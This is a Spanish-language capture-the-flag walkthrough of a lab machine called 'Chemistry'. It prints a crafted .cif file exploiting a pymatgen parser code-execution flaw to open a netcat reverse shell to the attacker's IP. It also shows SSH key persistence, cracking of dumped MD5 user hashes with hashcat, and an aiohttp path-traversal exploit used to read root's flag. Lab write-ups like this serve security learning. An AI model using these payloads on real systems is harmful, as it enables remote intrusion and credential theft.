Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos tcp

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Explotación

Si entramos en el servicio web del puerto 5000 vemos un servicio en el, que luego de registrarnos, podemos subir archivos .cif. Buscando por internet posibles exploits sobre dichos archivos, encontramos lo siguiente: https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

La pagina web del puerto 5000, nos proporciona un fichero .cif de ejemplo, por lo que congiendo dicho exploit y dicho fichero de ejemplo podemos elaborar el siguiente exploit:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("nc 10.10.14.118 9001 -e /bin/sh");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Vemos que si abrimos una revershell con nc en nuestro equipo no recibimos ninguna conexión. Podemos probar a utilizar busybox para crear la revershell desde la máquina objetivo:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("busybox nc 10.10.14.118 9001 -e /bin/sh");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Conseguimos entonces acceder a través del usuario "app". Para establecer una conexión persistente, añadimos una clave ssh en el fichero .ssh/authorized_keys del directorio home del usuario app.

 

3. Movimiento lateral

Podemos observar como dicho usuario no tiene la flag de usuario en su directorio, por lo que tenemos que buscarlo en otros usuarios. Descubrimos el archivo app.py, en el directorio /home de app, el cual tiene el siguiente contenido:

app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}

Descrubimos que dicha database.db, se encuentra en la carpeta /home/app/CimInstance y que en ella podemos ver lo siguiente:

app@chemistry:~/instance$ sqlite3 database.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
structure  user     
sqlite> .database
main: /home/app/instance/database.db
sqlite> .tables
structure  user     
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8

Si listamos los directorio /home de la máquina podemos ver que existe un usuario que se llama rosa. En el app.py vemos que utiliza un hash md5, por lo que podemos aplicar fuerza bruta para intentar obtener su contraseña:

# hashcat -m 0 hashes /usr/share/wordlist/rockyou.txt

Y vemos que obtenemos las siguientes credenciales rosa:unicorniosrosados. Accedemos entonces por ssh con dicho usuario, y vemos que somos capaces de obtener la flag de usuario.

 

4. Escalado de privilegios

Listando las interfaces de red de la máquina, vemos lo que parece un servicio web en el puerto 8080. Por lo que lo forwardeamos a nuestra maquina:

# ssh -L 1234:127.0.0.1:8080 rosa@10.10.11.38

Si enumeramos con whatweb las tecnologías utilizadas en dicha página, vemos lo siguiente:

# whatweb http://127.0.0.1:1235
    http://127.0.0.1:1235 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[127.0.0.1], JQuery[3.6.0], Script, Title[Site Monitoring]

Si buscamos en internet por algun exploit que afecte a aiohttp en su versión 3.9.1 descubrimos el siguiente LFI: https://github.com/wizarddos/CVE-2024-23334. Si lo descargamos y ejecutamos buscando por el archivo /root/root.txt y con el directorio predefinido, vemos que no funciona.

Por lo que tenemos que lanzar gobuster para descubrir el directorio sobre el que realizar el LFI. Lo lanzamos con gobuster y obtenemos lo siguiente:

/assets               (Status: 403) [Size: 14]

Por lo que podemos adaptar el exploit utilizando el directorio /assets:

# python exploit.py -u http://127.0.0.1:1235 -f /root/root.txt -d /assets

Y vemos como somos capaces de obtener la flag del usuario root.